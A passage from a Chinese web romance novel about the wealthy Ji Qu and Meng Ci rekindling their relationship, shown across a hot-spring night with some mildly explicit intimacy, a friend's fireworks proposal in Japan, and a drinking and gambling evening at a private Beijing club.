但是架不住和温泉一起,高水温会加速酒精挥发。 再加上山间的凉风一吹,季曲现在甚至都不确定孟慈是趴在那睡着了还在醉倒了。 走到孟慈面前,她果然闭着眼,脸颊泡的有些发红,也可能是喝了清酒的缘故。 季曲从托盘上拎起瓶子晃晃,只剩了个底,还没少喝。 得儿,之前的话全当耳边风了。 就着壶喝尽壶底的残余,季曲抿嘴品品,还行,不算烈,睡一晚上也就没什么事了。 刚准备把人捞出来,季曲就看到孟慈不知道什么时候已经睁开眼睛看他。 孟慈歪头靠在自己的手上,双眸泡的水意朦胧,一眨一眨地看着季曲,语气不常见的柔软。 “季曲。” “怎么了祖宗?” “你过来点。” 季曲听话俯身,瞬间能感觉到热气扑面。 还没等他伸手把人捞上来,孟慈就双手撑着石头从温泉里探出来轻轻在自己唇角落了一个吻。 吻持续了两三秒,孟慈因为长时间压着手连带着小臂都有些麻,身体有些不听使唤。 原本打直的胳膊闪了一下,孟慈低头懊恼似的看看,然后缓了缓肌肉,再次撑着吻上来。 这次,孟慈伸出舌尖,主动往季曲嘴里探了一下。又飞快地退出,拉开和季曲的距离,直勾勾地看季曲的反应。 谁都不是圣人,尤其是孟慈只裹了一条浴巾,还因为吸了水而有些散开的时候。 季曲的喉结上下滑了一回,眼底压抑着的欲望逐渐翻涌,比身后的黑还要浓稠。 不知道孟慈什么意思,季曲准备先忍一会儿,他声线暗哑,故作冷静地问:“怎么突然亲我?” “你说我不爱你。”孟慈是有些醉,但是不算多。 这一点季曲能看出来,因为孟慈的眼神中还带着几分她一贯的清冷。 所以,他警告自己,好不容易把人带出来,还是先忍一会儿。 “你义正严辞的,头头是道的,说我不爱你。”孟慈的反击来得有些晚。 其实季曲说的那些,孟慈通通承认。 她表面风轻云淡,其实内心早就为想得到东西绞尽脑汁。 她发现自己和季曲的关系开始走上悬崖峭壁,所以她选择及时喊停,用最能麻痹自己的方式。 “你那么懂我,但是怎么能说我不爱你?” “我以为你最起码应该能看到我的勇气。” 孟慈有些抖,生理意义上的。 因为山风太寒,因为落在她身上的雪花很大。 温泉水以她为圆心泛起涟漪,一圈圈地往外荡,撞在石头上,然后又返回到孟慈身上。 回想起来,两个人都没完整地过过一轮四季。 季曲的社交圈复杂。 孟慈刚接触时被季曲的朋友们当作他新养的“小金丝雀”,言语间的冒犯之意明显。 一直到后来看到季曲对孟慈的特殊,才逐渐正眼看待孟慈。 不过这也仅限于酒桌上的一杯酒,见面时的一个招呼。 季曲的工作也忙。 一天到晚动辄千百万,手机不离身,不是在接电话就是在看合同。一周甚至抽不出一天能陪孟慈吃一顿完整的饭。 要么就是临时有事,要么就是中途离开,后续就是一支新包、一块新表、或者一根金条。 到最后孟慈有三个保险箱装着满满的金条。 季曲的脾气更差。 别人不清楚,以为季曲永远是一副高高在上的优越模样,永远不急不缓、不骄不躁。 但是孟慈看过季曲在合同告吹的时候彻夜枯坐,看过季曲在项目进展不顺时砸了时时把玩的茶杯,看过季曲在被家庭施压后气红了眼却只能接受的模样。 这样的季曲,和孟慈二十二年来的经历格格不入。孟慈却也自愿投身,她的声线也随着身体颤抖的幅度变化。 “我生日那天,你说公司临时有事,然后再也没回来。” “那天是真的有事,工地出了事故,现场情况混乱,不小心就摊上官司。” “去游乐园那次,你说好要陪我一整天,结果玩了两个项目你就接了电话走了。” “我妈那天突然难受,她做过手术,你知道的慈慈。” “答应我养小猫那次,我挑了好几只,等你来选,你说你忙,让我自己决定,但是我抱回来没多久你就趁我睡觉把猫送走了。” “那是因为你毛发过敏,对你身体不好。” 话说到这儿,再讲下去就没意思了。 孟慈要的是态度,季曲给的是结论。 情绪问题才是亲密关系中压死骆驼的最后一根稻草。 孟慈酒醒了七八分,脑子却开始混乱。 她低头想了几秒,一直到季曲伸手让她出来。 看着面前可靠的手掌,孟慈没忍住,从水里拿出自己的手,缓慢地放在季曲手心,然后立马被握住。 “但是季曲。” “嗯?” 虽然季曲掌心温暖,但是孟慈的手上沾水。 离了热源,风一吹,立马成冰。 “我其实不喜欢过生日,我也讨厌在一群人面前吹蜡烛,我只想和你一起,不吃蛋糕也可以。” “我也不喜欢游乐园,里面的项目太刺激,我又恐高,除了旋转木马没什么可玩的。” “而且……我也没有毛发过敏,那段时间身上起疹子是因为楼下新换了一批草种,我不小心沾到了。” 孟慈再抬眼时,一贯清丽的眼红了整片,“季曲,你太忙了,总是顾不上我。” “我讨厌你,我离开你,我算计你,但是……” 嗓子眼好像被什么不存在的东西堵了个彻底。 孟慈没说完接下来的话,眼泪就生生地往下砸,落在温泉水里,一滴又一滴。 季曲感觉自己的心脏突然被孟慈捏紧。 即使她没怎么使力,热气持续不断地蒸发在两人中间,模糊了对方的脸。 理中客其实并不好当。 尤其在两人的关系中,孟慈几乎没充当过这个角色。 此时一字一句地辩驳,不仅把那晚的季曲将的彻底,更把现在的季曲堵的严实。 如果爱是确切无疑,那孟慈离开时也一定有过真真切切的难受心痛。 季曲拉着孟慈的手,感觉她的体温在一点点流失。 “先出来……”季曲话还没说完,孟慈就先给出解决办法。 在水中迈一步,孟慈抱住岸上的季曲,靠在他的颈窝,打湿他的浴巾,“你觉得我们之间的问题出在爱上?” “当然。”季曲自认为自己拥有一切,拥有搞定一切的本领,拥有孕育爱无限生长的土壤,他只需要孟慈无畏无惧地爱自己,“只要你爱我,一切就不是问腿。” 看言之凿凿的季曲,孟慈勾唇笑了一下,季曲好像总是这么自信。 似乎是因为广阔天地中只有彼此的存在,孟慈一时间也被季曲的自信冲昏了头。 她也给出回答:“那就听你的,我们再试一次。” 第29章 第29章一场烟火罢了 湿沉的浴巾沾湿季曲身上的浴袍。 特别定制的吸水材质很快让两人变得同样沉甸甸。 孟慈的颤抖还在加剧。 季曲抱着人进屋。 在踏入室内的瞬间就把已经冷冰的织品扔在地上。 皮肤上挂着的水珠颤巍巍地落了一地。 季曲取了新的烘的温暖的浴巾裹住孟慈,一点一点地把娇嫩的皮肤擦干。 经过高温浸泡的身体还有些发红。 季曲不是柳下惠,坐怀不乱。 重逢以来几次三番地被孟慈撩拨,次次被凶猛火舌燎了原。 偏偏孟慈又不负责救火收场。 眼看有了反/应,季曲看着面前被浴巾裹紧的人,没忍住在孟慈脸上落下细密的吻。 起初孟慈还没拒绝,怯生地回吻。 纤细的手臂也勾上季曲的脖颈,莹白的肩膀暴露在空气里。 季曲握住稍稍用力地摩挲几下,便又红了起来。 “……不行。” 孟慈喘息不匀地拉开埋在自己心脏处的季曲。 尝到甜头的季曲全当没听见。 把孟慈的两只手腕握住往呼之欲出的地方按。 “季曲!”孟慈开始急迫,咬在季曲耳尖,不算轻的一口,咬得季曲呲了牙。 “非得这个时候打断我祖宗?”季曲被迫抬头,满脸欲求不满。 吸烟喝酒打牌,年轻时候飙车跳伞,季曲没什么不做的。后来接了家里的生意才慢慢养成沉稳踏实的性子。 但是内里,还是蔫坏。 之前那段时间,季曲对孟慈的兴趣远远胜过烟酒。 孟慈不满道:“不是叫我爱你?” 季曲摆出无赖模样:“是啊怎么了?” 孟慈语调爬高:“哪有刚爱上就把人往床上拐的?” 季曲这次打定主意不能让孟慈轻易逃脱。 就算她今天把华婉搬这儿也得等半个小时才能见到季曲本尊。 “也成。”季曲意料之外的先退一步,他笑得有些怪,“那我们慈慈换个法儿帮帮我?” 又不是刚认识季曲那会儿,孟慈自然知道季曲的意思。 从两人紧贴的身体感受着季曲的热切,孟慈不情不愿地伸出手。 “你快点,我手酸。” “行,听你的。” 季曲如愿以偿地又吻上。 在握上的那一瞬,他嗓间不由自主地溢出一声舒适的叹喂。 …… “你到底好了没有季曲!”孟慈感觉自己的手腕要断了,忍不住催促。 “没好怎么着?你有别的法子?”季曲浑不吝道。 孟慈被堵的一哽。 她自然知道季曲说的别的法子指什么,干脆装傻充愣。 见状,季曲笑着揉捏了下手掌心的软,忽地加快。 浴室里的镜面被水汽氲满,水珠沿着滑落,留下清晰的痕迹。 在接了数不清的漫长的吻,孟慈缺氧到眼角流下生理性眼泪之后。 季曲终于放过她- 第二天,孟慈睡到快中午才起,身边一片冰凉。 走到卧室的窗户拉开窗帘一看,漫山遍野的雪,太阳光落在上面,反射到孟慈的身上,她一时间被刺到睁不开眼。 出了卧室,季曲正在客厅看合同。 听到孟慈醒了,他直接合上电脑,问孟慈吃点什么。 孟慈点了杯咖啡,季曲拿手的。 房间里配了咖啡机和咖啡豆。 取豆,研磨,压粉,烘煮,过滤。 孟慈拿到咖啡的时候已经过了二十 分钟。 “你可以继续工作,不用管我。” 孟慈抱着杯子坐在沙发上晒太阳。 睡了这么久,身上止不住地发酥。 有一口没一口地喝热乎乎的拿铁。 孟慈觉得这儿的豆子不怎么香,她的口味偏焦,手里的这杯发酸。 看出来孟慈不怎么喜欢,季曲说喝不了就不喝了。 孟慈顺从把杯子放在茶几上。 好久没看过孟慈这么温柔小意的模样,季曲有些分心。 在第三次想挨着孟慈的时候,季曲干脆把人抱到怀里,放在膝盖上。 “干嘛?”孟慈正晒的舒服,突然间被挪动了位置十分不满。 “抱一会儿。”季曲捏捏孟慈的手,又补充一句,“谈恋爱都这样儿。” 孟慈不觉得这样的姿势能同时满足季曲看合同和自己晒太阳的需求:“你偶像剧看多了吧。” 季曲反驳:“我哪有时间。” 这倒是真的。 季曲家的钱也不是大风刮来的,地位也不是靠吹嘘就能获得的。 这些都得拿时间来换。拿对人人都平等的时间来换。 眼看着怀里的人要跑,季曲连忙想了别的招。 非让孟慈和他一起看合同,找找错漏。 “你敢给我看?”孟慈扫了一眼,是北城前段时间炙手可热的飞地重建项目,各方争破头都想抢一抢,明的暗的消息满天飞,最后谁都没捞着好。 “这有什么不敢的。” “不怕我抢?” “能抢过去算你的本事。” 季曲动了动腿,给孟慈调到一个舒服的位置,把光标调到最开头,带着人重新开始一条一条的过。 合同这种东西,虽然有公司的人一层一层地逐字阅读,但是季曲总习惯自己最后再看一遍。 是他的性子,小心谨慎,分毫不踏错。 中午两个人简单地吃了点寿司,等着晚上和安翰等人聚。 结果还没到天黑就收到大雪停飞的消息。 安娜和赵一辰落到东京,现在公路封路,要等好久才能到。 求婚的主人公倒是到了。 但是何冉的工作临时拖延,他只能陪着。 因此检查求婚场地的事自然而然地落到了季曲和孟慈的头上。 “都来不了?” “大雪停航,估计悬。” 季曲拿起手机找附近的餐厅。一连两顿都在酒店解决,得带孟慈出去吃点新鲜的。 “没提前看天气预报?”孟慈看着窗外又开始飘落的雪花皱眉。 “怕求婚失败?”季曲好笑地看着为别人的事发愁的孟慈,没忍住上去捏她的脸。 孟慈的眉头皱得更深,说疼。 季曲手上品着劲,自然知道孟慈真疼假疼。松开掐着的肉又哄着揉揉,孟慈这才给了季曲正眼。 “走吧,吃饭去。” 饭店里酒店不算远,是家开了几十年的老店,招牌菜是新鲜的河豚火锅。 鲜白的汤底咕噜噜地翻滚,处理好的鱼肉一烫就打了卷。 季曲熟练地烫了四五片鱼肉放到孟慈碗里,才拿起自己的筷子去吃生鱼片。 孟慈对生的食材不太感冒。 配餐的清酒温得刚好。 孟慈有些头痛,就喝了一小盏,季曲把剩下的包圆。 吃完之后两人就回酒店帮安翰盯现场。 说是盯,其实就是随便逛逛看看。现场有几十人的团队盯着,想出点错都难。 鲜花依旧在温室养着,这个天摆出来没一会儿就得冻蔫。 就像孟慈一样。 今晚出门她死活没再穿那件臃肿厚重的羽绒服,挑了件裁剪精致的驼色大衣,好看是好看,只不过在室外一会儿就冷得跺脚。 不过这也不能只怪大衣。 毕竟大衣下裸露的双腿仅被一双靴子包裹,风一吹就爬起鸡皮疙瘩。 季曲解开自己大衣的外套,把人裹在怀里。 看着孟慈的脸色一点点地恢复红润,才舍得调侃两句。 “冷了?” “不冷。” 季曲见状就要松开大衣的衣襟,把人放逐回寒冷的空气中。 但孟慈又不是个傻的,当即握住季曲的手,侧过脸和季曲说谈恋爱就是不管冷热都要腻在一起。 “话都让你说了。”季曲咬了下孟慈小巧圆润的耳垂,把大衣又拢紧了点。 参观完场地,两个人坐摆渡车回到房间,季曲看见茶几上放着的新的清酒,问孟慈还要不要泡温泉。 孟慈摇头,说自己有些乏要早点睡。 一直到孟慈洗完澡出来,季曲才发现她哪里不对。 灭了房间的灯,仅留一盏床头的, 季曲把背对自己躺着的人捞到怀里,手抚上孟慈的小腹。 “是不是要生理期了?” “嗯?” 孟慈被问的一懵,后知后觉地想了想上个月的日子,差不多就是这几天。 看到孟慈的表情,季曲就知道自己猜对了,“那晚上还穿那么少就往外跑?” 孟慈眨眨眼:“我忘了。” 身上愈发疲惫,再加上季曲按的舒服,没一会儿孟慈就呼吸匀了,连床头热好的牛奶都忘了喝。 一夜好眠。 第二天起来,季曲破天荒的也还躺着。 “醒了?”季曲摸摸孟慈睡的微热的脸颊。 “嗯。”孟慈揉揉眼,下意识地往热源处靠,季曲张开胳膊,方便孟慈拱。 结果就是孟慈趴在季曲的胸膛又补了一觉。 再睁眼时,安娜和赵一辰到了。 孟慈陪着两个人在酒店的餐厅先填填肚子。 季曲接到孙谦的电话,刚好孟慈有人陪,自己就窝在房间里处理工作。 孟慈给安娜倒了杯热水:“你哥几点到?” 安娜看了看手机里的消息:“快了,他先把我嫂子安顿好,就来找咱们。” 孟慈点头,看着室外忙碌的人们,玫瑰花海逐渐成型。 “晚上好像就咱们几个,其他人都来不了了。” 赵一辰拿着手机翻看信息,都是因为大雪耽误行程的。 加上何冉的好友,能到场的不过十几人,比起盛大的置景,多少有些空旷。 晚上八点,安翰拿着早就准备好的台词翻来覆去地读念,紧张到手汗打湿了信纸边缘。 安娜见状开始嘲笑,说平常在谈判桌上咄咄逼人的时候可不是这样。 “我嫂子不是早就答应嫁给你了,有什么好紧张的?” “闭嘴,要不然下个月停你生活费。” 安娜乖乖闭嘴,转头欣赏自己挑了好久的小礼裙,在酒店的玻璃上照,怎么看怎么满意,期间还不忘拉着孟慈给她拍照。 “差不多得了,旁边那么多摄影师。”季曲忙完工作出来就看到安娜拉着孟慈左拍右拍,导致自己都没有和孟慈说话的机会。 “季曲哥。”安娜讪讪一笑。 她在季曲的不满眼神中连忙把手机拿回来,然后把孟慈还给季曲。 牵过孟慈的手,季曲问她晚上吃了点什么,有没有吃饱,肚子疼不疼。 孟慈摇头,说只是腰酸。 “我给你揉揉。”季曲覆上孟慈的腰,不轻不重地按。 “谢谢。”孟慈眯着眼受着。 “谈恋爱可用不着这么见外。”季曲揉到孟慈说停才收回手,转而牵起孟慈落在身侧的手放到自己的口袋。 一直到晚上九点,何冉这位主人公才到场。 她穿着经纪人说要拍摄广告用的礼服,在一片漆黑中下了车。 “嘭——” 烟火与灯光一起点亮漆黑的夜,娇嫩的玫瑰成为点缀,铺成有情人终成眷属的花路鹊桥。 安翰没按提前准备好的台词发挥,现场走心了几句,反倒勾起全场女性的眼泪。 安娜早就在一旁哭的泪眼婆娑。 孟慈只是湿了眼 眶,不至于落泪。 在拥吻环节,夜空里的烟火炸得更加热烈璀璨,仿佛要把最美好动人的祝福送给安翰和何冉,照亮他们的未来。 “感动啊?”季曲伸手揩去孟慈眼角即将掉落的泪,“喜欢的话我也给你整一次?” “不是。”孟慈摇头。 她虽然不是当事人,但也对安翰和何冉的感情有些了解。 在那些声色犬马的夜晚,何冉也曾在角落对孟慈坦白某些不为人知的秘密。 比如她根本没打算和安翰走到结婚那一步。 比如安东升曾在某个酒桌看上了她。 比如她其实也想要放弃。 孟慈记得何冉每每说这些话的时候,她那双摄人心魄的眸总会被莫名的未知填满,变得迷茫而昏暗。 “我没想过有什么结果的,你呢?”何冉看着被围在场中央灌酒的安翰,突然失了她一贯的张扬。 “我?”孟慈那时正被季曲捧到天上,要什么给什么,不要的也源源不断地往她手里送。 何冉:“对呀,你这么年轻,又不像我需要资源才能往上爬,你缺钱吗?” 孟慈:“不缺,我爸妈给的足够我生活。” 何冉:“那你图什么?总不能图他爱你吧。” 孟慈没说话。 在间隙的沉默里,何冉不可置信地笑了:“你真的图他爱你?” “不行吗?”孟慈答得坚定,倒是让何冉没法再生出笑意,她转头看清孟慈年轻无畏的眼,轻轻摇头似是无奈。 “行,爱这种东西,最廉价不过,而且对他们这种人来说,根本不是必需品。” “没事的,我就试试,没有就算了。” 那个时候。 孟慈看着季曲。 是生了几分不该有的期待的。 想到这儿,孟慈放过天边的烟火和不远处的有情人,转头看向身边的季曲。 可能工作了一天有些疲惫,他面上能看出意兴阑珊。 “爱廉价吗?” 意识到孟慈是在问自己,季曲垂眸对上孟慈的眼睛,里面有彩色烟火,“怎么这么问?” 孟慈耸耸肩:“就是问问,想看看你们这种人需不需要?” 季曲听出些话外之音:“什么叫我们这种人?” “就是……”孟慈组织了会儿语言,“手里身边有太多太多的东西可以代替爱的人。” 听到这儿,季曲勾唇笑了,“廉价的东西不一定不好,比如说超市里一块钱一瓶的水,那是生命之源。” “但你喝的水可不是超市货架上的那些。”孟慈反驳。 “那我换一个例子。”季曲思考了几秒,“其实能用钱买来的东西大都廉价,但是爱不一样,爱买不来。” 孟慈:“谁说的?” 季曲:“那我能不能买的你爱?” 孟慈不是没见过圈子里那些人和事。 开始的时候大多当作一场你情我愿的买卖交易,到最后才发现爱早就在暗处滋生发芽。 但是不可否认。 爱滋生的土壤并不纯粹。 过了几秒,孟慈才回复。 “不能,因为我的爱很珍贵,一点都不廉价。” 眼前是满面春风的安翰,孟慈突然发现自己的心情不知为什么变得沉重。 她低头看到季曲牵着自己的手,上面佩着着上百万的机械表,但这只不过是他表柜中的随意一块。 于是,在烟火落地的间隙,孟慈在思考重蹈覆辙的路有没有必要再走第二遍。 孟慈一点都不后悔设计那场。 把自己置于第三者的位置撞见季曲和薄娴的“恩爱场面”。 她当时是真的没有心气儿和季曲纠缠。 想到这儿,心脏没由来地一抽,闷着发酸。 察觉到孟慈的低落情绪,季曲决定先带着人离开。 毕竟后续也没什么重量级的节目。 一场烟火罢了。 孟慈想要的话他可以每天给孟慈放。 在回房间的路上,雪又纷纷扬扬地落下来。 季曲贴心地把孟慈发连的雪花扫尽。 烟火还在放,声声脆响。 遮盖住两人脚下踩雪的声音,也遮盖住两人关系中原本就有却被时间遮盖的裂纹。 “我们这次恋爱要谈多久?” “你想谈多久?” 季曲把问题抛回来,孟慈停了步子,侧过脸看着季曲。 对方一幅任尔予取的模样,偏偏不给一个确切答案。 在恋爱中,一辈子,下辈子,直至永远,是再普通平凡不过的词汇。 孟慈不说话,就这么等着。 偏偏季曲也一言不发,好似在比耐性,看谁先忍不住失分。 终究是季曲先低头。 雪越落越大,逐渐模糊了孟慈的脸。 “你想要我说多久?” “随便。” 给没意义的未来设限,是小孩子才喜欢干的事。 季曲习惯活在当下,把一切掌握在手里。 他没给孟慈什么时间承诺,看不到摸不着,就像空头支票,根本没意义。 慢慢来吧,牵住孟慈的手。 季曲想着。 路这么长,一步一步走,总能让孟慈看到她想要的东西。 第30章 第30章“我女朋友。” 临近春节,整个城市都好像已经准备好休假。 红色的灯笼从中心开始铺了满城。 季亮鸿的宅子是第一批享有装饰的。 赵一辰家旗下的不少艺人要录拜年视频,临时搭的棚景没什么新意。 思来想去,还是外景合适。正好赶着红彤彤的地标性胡同拍,好不热闹。 正好拍到季亮鸿的院子门口,一辆车不偏不倚地拦在整段的红墙中间。 赵一辰想着该不能这么巧,走上前一看,还真是季曲的车。 一大帮人等着,赵一辰随即打了电话。 “哥?你在老爷子这儿吗?” “怎么了?” “我带公司的人来拍点东西,正好拍到老爷子门口,那面墙实在好看……” 这是自己车挡着人了,季曲今天回得着急,就没往车库停。 “你进来取钥匙,我走不开。” “好嘞哥。” 赵一辰进门前还找人给自己检查了遍着装,怕和老爷子打照面。 后来一想马上过年,自己还是空手上门,太冒昧,连忙叫助理跑出胡同买了附近最贵的烟酒糖茶。 双手拎得满满当当,赵一辰这才进了门。 沿着红柱长廊走了几个回转,才看到正院子。 季曲就站在院子当中。 指挥着一群工人不知道在忙什么。 赵一辰笑着走到季曲身边,笑眯眯地喊人:“哥,忙什么呢?” 听到身后的脚步,季曲知道人来了,头也没回就把车钥匙递出去。 “换条鱼,车自己挪,拍完了再给我放回原位。” “那当然没问题。”赵一辰大致扫了一眼,约莫五六十平的鱼塘里养了十几条百斤重的锦鲤,最大的抵得上赵一辰的半个身子。 “老爷子不喜欢了?”赵一辰看着工人们正把一条通身纯白只有头顶一点红的锦鲤捞出鱼池。 “岁数大了,前两天季澈回来看见这条不太精神,让我悄悄来换上一条。” 季曲安顿着工人们手慢点,这条还要送回华婉那儿继续养。 百斤大的锦鲤本就难找,还得是样貌大差不差。 季曲这两天几乎找遍了圈子里的人脉,最后还是从东北的某处农家乐里买出来的。 听老板说是他们的镇店之宝,本来说死都不卖,最后季曲硬生生在市价上翻了十倍才运回来。 但是还是要比原本的差些颜色,没那么白的润透。 季曲总觉得会被季鸿亮发现,到时候挨骂的可就不是自己了。 旧的捞出去,新的也准备放进来。 季曲伸手探进池子测了测水温,还算可以。 工人让季曲靠远些,别溅到身上水,季曲往后退了一步,看见赵一辰还在。 季曲问:“还有事?” 赵一辰摇头:“没有了哥,临时来怕老爷子在,拎了点东西。” 季曲看都没看,指了指房子,“给阿姨就行。” 看样子季亮鸿不在家,所以季曲 才敢大摇大摆地进来“偷梁换柱”。 赵一辰把手里的礼盒递给阿姨,和季曲打完招呼这才离开。 换完鱼,季曲又盯着它在池子里游了一会儿,没什么不对劲。 季曲安顿养鱼的师傅这段时间得多上心,别真的哪天翻了肚子。那边华婉已经发来消息,说季亮鸿马上就到家,让季曲抓紧时间撤。 自己的车还不知道在哪。 季曲一边往外走一边给赵一辰打电话。 还没接通就看到赵一辰已经晃着车钥匙站在门口。 “哥,给你放回来了。” “开后备箱。” 三四个工人才把水箱稳稳地放进季曲的车的后备箱。 刚合上,季亮鸿的车就开进来了。 低调的红旗在季曲身边稳稳停靠,后座车窗下摇,季亮鸿的脸露出来。 他每周这个时候都要去医院做复健。 季亮鸿看着寒冬腊月仅穿了件灰色羊毛衫站在室外的季曲皱起眉头:“你怎么来了?” “我……”季曲把不小心被打湿的衣袖放在身后,难得语塞。 “季爷爷好!”赵一辰看出来季曲的吞吞吐吐,连忙打圆场,“我们公司今天出来拍摄,这不是想着咱们这个胡同灯笼挂得早,但是又怕管理的那面不让拍,我就临时把季曲哥请过来了,看能不能看在他的面子上帮帮忙。” “这儿事你得提前打报告,谁的面子也没用。” 季亮鸿的思想老派,听到这儿不免皱眉。 “打了打了,但是这不是以防万一嘛。”赵一辰连忙把盖了章的红头从助理手里拿过来递给季亮鸿,“我们都差不多拍完了,马上就走了。” 眯着眼看看纸面上的内容,季亮鸿把文件还给赵一辰,“抓紧拍,我就先走了,车子不好停街的当中央这么久。” “爷爷再见。” “季爷爷再见。” 一群人目送红旗开走,消失在巷尾。 “谢了。”季曲松了一口气,拍拍赵一辰的肩膀就要离开。 “没事哥,这都小事,晚上我们在我那儿和安娜庆功,她上海那个项目成了,您赏个光?”赵一辰跟上帮季曲拉开车门。 “我晚上有事。” “但是孟慈也来。”赵一辰趴在季曲的车窗上,笑得谄媚。 季曲眼神上下一扫,示意赵一辰从车窗离开。 “行吧,哥那你慢点开车。”赵一辰挥手再见。 庆功宴? 季曲明明早就约了孟慈今晚吃饭,他发小最近回来了,每天都攒局,自己还想着叫上孟慈出来认认人,毕竟前两年的事过去就过去了,总得重新开始不是。 偏偏孟慈说今天晚上她有导师会,挤不出时间。 “大过年的还学习?”季曲略有不满。“人老外管你是不是大过年。” 孟慈在电话里态度强硬,“要不是你非不让我走,我就回学校写论文了。” “别别别,在这儿多好,你开你的会,我不扰你。” 怕人真飞走了,自己还得大过年的跟过去哄。 想到这儿,季曲勾唇冷笑。 真是越惯越完蛋。 孟慈晚上是真有导师会,安娜那边她已经想好了借口,就说季曲拉着自己不让离开,反正把锅甩给季曲,把自己摘出来。 毕业论文早就定好选题,框架也已经搭建完毕,在正式撰写之前孟慈还在做文献综述,导师也推荐了不少专业书籍,都是英文专著,即使孟慈已经在全英文的环境里学习很久,也依旧有些发愁。 把自己最近的整理进度和导师分享之后,又听取了同门们的报告内容,孟慈自觉最近在学习这方面有些拖沓。 但是值得一提的是银行账户的余额倒是日益丰厚,新西兰的小别墅逐渐有了踪影。 孟慈煮了壶苹果水,点了枚添加了薄荷叶的香薰,把学习资料都准备好摞在触手可得的位置,头发也用皮筋束在脑后。 全部就绪准备熬夜猛学一场。 孟慈刚刚打开材料第一页,柔绘笔才圈出第一个关键词,一旁的手机就不合时宜地震了起来。 她分了个眼神去顾。 【孙谦】 孟慈蹙眉,孙谦几乎没怎么直接联系过自己,都是经过方萤对接。 一边不想被打扰,一边又怕有什么事,在双方意识的搏斗下,孟慈还是放下笔拿起了手机。 “喂?”- 一直到站在会所门口,孟慈才开始后悔。 凄白的灯光落在地上,照亮面前的石径小路,风挟着雪花往孟慈的身上打,她把脸往衣襟里又缩了几分。 就不该相信季曲喝得烂醉连人都不认得的鬼话。 门口的应侍生远远地就迎上来,礼貌询问孟慈是哪位包厢的客人。 报出孙谦给的包厢号,应侍生带着孟慈前往。 不算太大的包厢“五脏俱全”。 以调酒台为分割,一边是灯光明亮的牌桌,一边是光线暧昧的歌台。 身材曼妙的歌手在台上娓娓低诉,孟慈想不通这伙人怎么突然听开苦情歌。 顾不上那么多,眸光一定。 孟慈在唯一的牌桌上找到孙谦在电话里说的喝到烂醉的季曲。 自从这次回来后,孟慈见到的季曲总有些紧绷。 她把其归结为年龄增长带来的作用。 但是在面对从小到大的玩伴时,季曲终露出些真实模样。 一贯合身的衬衣早就失去了挺直的线条,每每扣在喉结处的领口大敞,袖口也被解开随意弯折,露出肌肉线条饱满的小臂。 他的眉眼间笑意绵亘,尽是漂亮颜色。 孟慈一进门季曲就看到了。 在接收到孟慈视线的同时,季曲分毫不差的回望,然后嘴角上扬,勾出一个笑,同时抛出手中捏着的最后一张筹码。 “外面这么冷?”季曲站起身走到孟慈身边,把人领回座位,然后握着孟慈的双手给她回温。 “你不是醉得谁都不认识?”孟慈都懒得发脾气,只觉得还是自己太白目,孙谦说就信。 季曲笑得宠溺,光是看着孟慈的表线就知道她在想什么。 一边说自己真喝了不少,一边又换了新筹码往孟慈这边塞。 “怎么也不介绍一下?”旁边的男人出声,对游戏喊了暂停。 “我女朋友。”季曲一个眼神都没分过去,还在低眉顺眼地哄孟慈开心。 “哪个女朋友啊?” “去你的。”季曲终于舍得从孟慈身上回神,笑着从桌子上取了张牌扔过去。 孟慈跟着季曲的动作转头看。 说话的人是李港,季曲的发小之一。 是真的不谈生意只谈情分的那种。 除了出国的,去港的,也就剩这位偶尔还在北城打转。 李港家的产业重心早就挪去南方,但是逢年过节总会回来走走亲戚,会会朋友。 两年前,孟慈也只见过这位一面而已。 “我好像见过你吧妹子?”李港不确定地开口 “见过一次,也在这儿。”孟慈微笑。 “对对对,我就说你进门我就眼熟!”李港说到这儿放开了怀里的女伴,端着酒死活要和孟慈干一杯,季曲伸手挡住。 “你把我喝多了,现在又要喝我媳妇儿,都喝多了睡你家啊?” “睡这儿就行啊!楼上好多空房间!” “滚开,老子洁癖。” 这家会所是李港开的。 之前是为了一伙人有个玩的地儿,毕竟都是有头有脸的人,不好在外面乱跑。 后来大家五湖四海地散了,这个地儿才转成预约制对外开放。 李港不满意道:“我一年最多就回来这么一两次,不给我面子?” 季曲护着人不放:“我媳妇儿也就这么一个,不喝!” 不至于烂醉如泥但也确实喝到临界点,一口一个媳妇儿听得人心烦意乱。 孟慈把季曲按回椅子,站起身接过李港手里的酒盅,利索喝尽。 火辣的酒精霎时烧上心肺。 李港偏爱喝茅台。 说是中国人就该喝点自己地里土生土长的粮□□。 接过季曲递来的冷茶灌了几口压制辛辣。 孟慈竟然开始可惜自己熬的那壶颜色鲜亮的苹果茶。 李港看到这儿不由得鼓掌:“大气!要么就说季曲眼光什么时候都差不了!我就说他退婚肯定有点原因!” 季曲飘过眼刀:“不会说话就闭嘴。” 李港接收到讯号:“哎呦你看看我真是喝多了说错话了!我自罚三杯!” 其实李港应该只是馋酒了。 毕竟他嫌小杯倒的费事,干脆从女伴手里取过酒壶来了个拎壶冲。 季曲始终握着孟慈的手,试图从她回握的力度去确认她有没有生气。 不过沈棠溪的事上次已经解释清楚,想来应该没有什么。 他们玩的是最简单的推牌九,喝高兴了之后干脆开始比大小。 雪花般的筹码在每个人手里轮转。 季曲刚刚才兑满的没一会儿就又没了大半。 孟慈难以接受这种烧钱的速度,靠在季曲耳边说自己不想玩了。 “不玩了?困了是不是?咱们回家。”季曲拉着人就从牌桌前离开,筹码都不要了。 “哎哎哎,还没玩完呢怎么就走了?”李港连忙喊人。 “我们不玩了,困了回家睡觉。” “行不行啊你?我好不容易回来一次!” 眼看着两个醉酒的人嚷嚷着要顶起来,孟慈只能插在两人中间灭火。 “我去那边透口气,你想不想吃点什么?一会儿就过来。”孟慈拉着季曲的胳膊把人叫回自己的身边。 “不是累了吗?咱们回家。”季曲现在仿佛变成了单线程的机器,固执的要离开。 “我不累,你输那么多就走啊?”孟慈好说歹说地把人按住。 季曲反复问孟慈是不是真的不走,孟慈一遍又一遍地说真的。 季曲这才放心的回到牌桌上:“那我赢回来咱们就走。” 孟慈把季曲乱了的领子捋正:“行,我去给你拿点水果。”【你现在阅读的是 】 30-40 第31章 第31章假想敌 一连听了三首曲子,孟慈才彻底平息胃里残余的酒精。 把自己的那份水果碗吃完,才要了季曲的。 孟慈又特地叮嘱了不要放芒果,可以换成西柚。 简单的水果碗也要把果肉切成花。 孟慈安静地托着下巴等待,同时终于看清了台上的歌手。 是前段时间刚刚在各大平台的颁奖典礼上取得不少奖项的小花,算上从孟慈进来的那段时间,她大约已经唱了快两个小时。 调酒师看到孟慈的眼神,主动上前询问:“您有想听的歌吗?” 孟慈摇头:“她要唱多久?” 调酒师有些语塞。 